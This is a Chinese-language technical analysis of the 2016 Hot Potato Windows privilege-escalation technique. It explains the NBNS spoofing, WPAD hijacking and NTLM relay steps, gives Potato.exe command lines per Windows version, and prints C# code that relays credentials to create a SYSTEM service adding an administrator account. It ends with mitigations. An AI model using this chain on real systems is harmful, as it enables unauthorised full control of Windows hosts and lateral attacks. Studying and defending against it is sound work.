2016年1月中旬,来自FoxGlove Security安全团队的breenmachine在博客中介绍了一种被称为Hot Potato的漏洞利用技术(原文链接)。在默认配置下,Hot Potato能够利用Windows操作系统的已知缺陷来获取本地计算机的最高控制权限,受影响的操作系统包括 Windows 7/8/10 和 Windows Server 2008/2012 。
通过Hot Potato,攻击者可以在安装了Windows操作系统的工作站中将自己的低权限提升至NT AUTHORITY\SYSTEM,在Windows操作系统中,这是可获取到的最高权限。这一点至关重要,因为很多组织和机构依靠用户账号权限来保护内部网络的安全,攻击者往往只能获取到目标主机中的一个低权限用户或者服务账号。如果攻击者拿到目标网络中任意一台Windows工作站的高级权限,就可以利用它来进行横向攻击,入侵同一网域中的其他主机。
一、攻击演示
- Windows 7
Potato.exe -ip <local_ip> -cmd <command_to_run> -disable_exhaust true
程序首先执行NBNS欺骗攻击,将WPAD解析到127.0.0.1,然后检查Windows Defender更新。如果目标网络中已经有了WPAD的DNS项,可以使用 -disable_exhaust false 选项,它会导致所有DNS查询失败,从而使用NBNS查询。
- Windows Server 2008
Potato.exe -ip <local_ip> -cmd <command_to_run> -disable_exhaust true -disable_defender true --spoof_host WPAD.EMC.LOCAL
Windows Server没有自带Windows Defender,所以使用另一种方式,即检查Windows更新。需要注意的是,Server 2008请求的WPAD主机名称一般是 WPAD.DOMAIN.TLD,而不是WPAD。
如果目标网络中已经有了WPAD的DNS项,可以使用 -disable_exhaust false 选项。但这可能会造成一些其它影响,因为耗尽UDP端口会导致所有的DNS查询失败,而Windows Update进程在请求WPAD可能需要进行一些其他DNS查询。这种情况下,就需要拿捏好这个时间点,言外之意就是需要保证之前的那几个DNS查询成功进行。
- Windows 8/10 & Server 2012
Potato.exe -ip <local_ip> -cmd <command_to_run> -disable_exhaust true -disable_defender true
在最新的Windows版本中,Windows Update可能不再使用 Internet选项 中的代理设置,也就是说不查询WPAD。相反地,Windows Update的代理设置由 netsh winhttp proxy 控制。对于这些版本,可以利用Windows的一个较新的特性,automatic updater of untrusted certificates(不信任证书的自动更新),具体细节可以参考:
- An automatic updater of untrusted certificates is available for Windows Vista, Windows Server 2008, Windows 7, and Windows Server 2008 R2
- Configure Trusted Roots and Disallowed Certificates
上述链接中提到,Windows Server 2012 R2、Windows Server 2012、Windows 8.1和Windows 8有一个自动更新机制,会每天下载证书信任列表(CTLs),而且这几个版本的Windows系统仍然使用WPAD,即使winhttp代理设置设置成了直接访问。
这种情况下,最长需要等待24小时才能看到效果,或者你可以用其它的方式触发更新。如果目标网络中已经有WPAD的DNS项,参考Server 2008的处理方式。
二、基本原理
Hot Potato主要由三大部分组成,每一部分都对应一个已知类型的攻击技术,这些技术并不算新颖,但是使用这些技术的方式却令人耳目一新。微软已经深知这些攻击技术,不幸的是,在不破坏系统向后兼容性的情况下,这些问题很难被修复,所以攻击者已经使用这些技术很多年了。
- 本地NBNS欺骗
Windows 系统将一个主机名(或域名)解析为相应IP地址的时候,是按照 hosts -> DNS -> NBNS 的顺序进行查询。当访问者输入一个不存在的域名,而hosts文件和DNS服务器均无法给出解析时,可爱又人性化的Windows就会发送NBNS请求,询问本地广播域中的所有主机。该网络中的任何主机都可以进行应答,返回什么内容由应答方决定。你可以尝试在CMD中执行以下命令:
ping smile
通过Wiresharp抓包的结果如下图,与上述分析一致。
你抓包也许会遇到NBNS查询之前进行了LLMNR查询,这是因为在Windows Vista、Windows Server 2008和indows 7/8/10中,当DNS 服务器不可用时(例如主机没有配置DNS服务器或者在连接DNS服务器时失败了),计算机可以使用本地链路多播名称解析(LLMNR,Link-Local Multicast Name Resolution,也称为多播 DNS 或 mDNS)来解析本地网段上的名称。每一台支持LLMNR且被配置为响应传入查询的主机,在收到LLMNR请求后,会将被查询的名称和自己的主机名进行比较:如果没有找到匹配的主机名,计算机会丢弃这个请求;如果找到了匹配的主机名,计算机会传输一条包含了自己IP地址的单播信息给发出该请求的主机。
基于以上原理,在渗透测试中,我们可以嗅探本地网络中的流量,对观察到的NBNS请求作出响应,将自己伪装成网络中的主机,使用自己的IP地址对所有请求进行应答,希望能够发生一些有趣的事(例如认证)。但是,对于本地提权这一目标,我们并不能认为自己能够嗅探到网络流量,因为这需要本地管理员权限。那么,怎样才能实现NBNS欺骗呢?
试想,如果事先知道目标主机(在本例中是127.0.0.1)发送NBNS请求要查询的主机名是什么(在本例中是WPAD),就可以伪造一个NBNS应答消息,并快速地使用该消息对目标主机进行洪泛攻击。比较麻烦的是,NBNS协议中有一个2字节的TXID字段,在请求和响应中必须一致,但我们无法事先知道NBNS请求中该字段的值。有一个解决办法,就是快速地发送NBNS响应,对65536种可能都进行尝试。
如果目标网络中已经有要查询的主机名的DNS记录,DNS查询就会成功,系统也就不会进行NBNS查询。在本例中,目标主机是127.0.0.1,因此可以使用UDP端口耗尽技术,来使目标主机的所有DNS查询都失败。我们需要做的就是绑定每一个UDP端口,这会导致没有可用的源端口用于UDP请求,也就无法进行DNS查询了。
- WPAD缺陷
WPAD的英文全称是Web Proxy Auto Discovery Protocol,即网络代理自动发现协议。Windows默认开启了代理自动发现功能,当用户使用IE浏览器上网时,浏览器会在当前局域网中自动查找WPAD主机,如果找到了WPAD主机,就会下载一个配置文件wpad.dat(该文件中定义了用户在访问一个 URL 时所应该使用的代理服务器),然后将文件内容设置到用户的浏览器中。也就是说,IE浏览器默认会通过访问 http://wpad/wpad.dat 来自动检测网络的代理设置。而且Windows中的一些服务也会采用这一机制,例如Windows Update,但具体情况与Windows版本有关。
当然,并不是所有的网络都存在 http://wpad/wpad.dat 可以被访问,因为并不是所有的DNS服务器都存在主机名WPAD。通过之前我们对名称解析的分析,若目标主机是127.0.0.1,那么不管DNS服务器中是否存在主机名WPAD,我们都可以让目标主机进入NBNS查询,这样就可以进行NBNS欺骗了。
既然能够进行NBNS欺骗,可以将 127.0.0.1 伪装成WPAD主机:使用伪造的NBNS应答消息对目标主机(这里是我们自己的机器)进行洪泛攻击,该消息会告诉目标主机,WPAD主机的IP地址为 127.0.0.1 。
同时,还要在 127.0.0.1 上运行一个HTTP服务器,当它收到的请求为 http://wpad/wpad.dat 之时,就用类似下面的内容(即wpad.dat)进行响应:
function FindProxyForURL(url,host) { if(dnsDomainIs(host, "localhost")) return "DIRECT"; return "PROXY 127.0.0.1:80"; }
这会导致目标主机上的所有流量都会通过我们运行在 127.0.0.1 上的HTTP服务器进行重定向。
下图概括了上述 NBNS + WPAD 过程:
有趣的是,当低权限用户进行这样的攻击时,会影响到目标主机的所有用户,包括管理员账户和系统账户在内。例如,两名用户同时登录到同一设备,低权限用户通过上述NBNS欺骗进行流量重定向,高权限用户的网络流量同样会被重定向。
- NTLM重放攻击
NTLM协议容易受到中间人攻击:如果能够诱骗目标主机使用NTLM协议对攻击者提供身份认证,攻击者就可以将这个认证尝试重放到给其它机器。在以前,这种攻击是通过SMB协议让受害者尝试向攻击者提供NTLM认证,然后攻击者将认证凭据重放给受害者,使用 pesexec 这类技术获得远程访问。
微软修复了该问题,通过禁止同协议的NTLM认证使用已经处理过的Challenge,这意味着从一个主机到该主机本身的 SMB->SMB 的 NTLM 重放再也行不通了。但是,类似 HTTP -> SMB 这样的跨协议攻击仍然起作用。
假设现在所有的HTTP流量都经过我们控制的HTTP服务器,我们就可以将它们进行重定向,从而要求进行NTLM认证。在本实验中,所有HTTP请求都用302重定向到了 http://localhost/GETHASHESxxxxx(其中xxxxx表示某些唯一标识符),而对 http://localhost/GETHASHESxxxxx 的请求,会返回401,要求进行NTLM身份验证。之后NTLM凭证会被重放给本地的SMB Listener,以创建一个新的运行用户定义的命令的系统服务。当HTTP请求来自于高权限账户时,例如是来自 Windows Update 服务的请求,命令就会以 NT AUTHORITY\SYSTEM 权限运行。
三、代码分析
Hot Potato的利用代码可以大致按照以下四个部分来进行理解:
- Update Launcher
这一部分代码主要工作是让目标主机的Windows Defender执行更新,从而触发目标主机广播NBNS报文查询代理自动配置文件wpad.dat的位置(即WPAD主机IP地址)。
class UpdateLauncher { public void launchUpdateCheck() { while (File.Exists("C:\\Program Files\\Windows Defender\\MpCmdRun.exe")) { System.Diagnostics.Process process3 = new System.Diagnostics.Process(); System.Diagnostics.ProcessStartInfo startInfo3 = new System.Diagnostics.ProcessStartInfo(); startInfo3.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; startInfo3.FileName = "cmd.exe"; startInfo3.Arguments = "/C \"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -SignatureUpdate"; process3.StartInfo = startInfo3; process3.Start(); process3.WaitForExit(); } } }
- NBNS Spoofer
这一部分代码主要工作是构造NBNS响应报文发送给目标主机,报文中携带了伪造的WPAD主机IP地址(这里是127.0.0.1)。
class NBNSSpoofer : Spoofer { ...... public override void startSpoofing(String localIp, String spoof_host, bool disableExhaust) { ...... UdpClient udpc = new UdpClient(137); // 攻击方建立UDP网络服务 IPAddress serverAddr = IPAddress.Parse(localIp); IPEndPoint endPoint = new IPEndPoint(serverAddr, 137); // 目标主机 udpc.Connect(endPoint); // 设置Send的接收端 byte[] packet = createNbnsResponse(spoof_host); // 构造NBNS响应报文 // set the Transaction ID (2 bytes) while(true) { for (byte i = 0; i < 255; i++) { for (byte j = 0; j < 255; j++) { packet[0] = i; packet[1] = j; udpc.Send(packet, packet.Length); // 将构造的NBNS响应报文发送给目标主机 } } } } ...... }
- HTTP Listener
这一部分代码首先需要提供wpad.dat文件的下载,根据文件内容,目标主机会将127.0.0.1作为代理服务器来访问http://download.windowsupdate.com下载更新。HTTP Listener将一般HTTP请求(包括上述更新链接)重定向到http://localhost/GETHASHESxxx,然后对该URL要求NTLM身份验证,最后将获得的凭证重放到本地SMB监听器。
class HTTPNtlmHandler { public void recvRequest(object sender, HttpRequestEventArgs e) { HttpRequest request = e.Request; HttpResponse response = e.Response; System.Collections.Specialized.NameValueCollection headers = request.Headers; if(request.Url.Contains("localhost/GETHASHES")) { if (headers["Authorization"] == null) { /* 要求NTLM身份验证 */ response.StatusCode = 401; } else { /* 将NTLM凭证重放到本地SMB监听器 */ response.StatusCode = 200; } } else if (request.Url.Equals("http://127.0.0.1/wpad.dat") || request.Url.Equals("http://wpad/wpad.dat")) { /* 该请求是要下载代理自动配置文件wpad.dat,应答内容: function FindProxyForURL(url,host) { return "PROXY 127.0.0.1:80"; } */ response.StatusCode = 200; } else { /* 对于其他HTTP请求: 重定向至http://localhost/GETHASHESxxx 其中xxx表示某些唯一标识符 */ response.StatusCode = 302; } } }
- SMB Client
这一部分代码主要工作是使用NTLM凭证连接到服务器,创建一个运行用户定义的命令的系统服务,然后启动服务。这里是将test用户添加到管理员用户组:
"C:\\Windows\\System32\\cmd.exe /C net localgroup administrators test /add"
class SMBRelay { public bool doPsexec(String binPath, NtlmPasswordAuthentication auth, String cmd) { Random rnd = new Random(); int randInt = rnd.Next(1,10000000); String host = "127.0.0.1"; DcerpcHandle handle = DcerpcHandle.GetHandle("ncacn_np:" + host + "[\\pipe\\svcctl]", auth); ...... Rpc.PolicyHandle svcHandle = new Rpc.PolicyHandle(); svcctl.CreateServiceW createServiceWRpc = new svcctl.CreateServiceW ( scManagerHandle, // 服务控制器数据库句柄 "GetShell" +randInt, // 服务名 "GetShell"+randInt, // 服务显示名 svcctl.SC_MANAGER_ALL_ACCESS, // 对服务的访问权限 272, // 服务类型,272为在其自己的进程中运行的服务,即svcctl.SC_TYPE_SERVICE_WIN32_OWN_PROCESS svcctl.SC_START_TYPE_SERVICE_DEMAND_START, // 启动类型 svcctl.SC_SERVICE_ERROR_NORMAL, // 错误控制类型 cmd, // 服务可执行文件的路径 null, // 加载顺序组 null, // 标记标识符 null, // 依赖关系 0, // 依赖项size null, // null, // 密码 0, // 密码size svcHandle ); handle.Sendrecv(createServiceWRpc); svcctl.StartService startServiceRpc = new svcctl.StartService( svcHandle, // 要启动的服务的句柄 0, // 启动服务时的参数数目 new String[0] // 启动服务时的参数 ); handle.Sendrecv(startServiceRpc); } }
四、缓解措施
在Windows中启用 身份验证扩展保护 可以防护NTLM重放攻击,SMB签名也可以减轻这类攻击,但如果我们使用的CIFS库支持SMB签名的话,这就不好说了。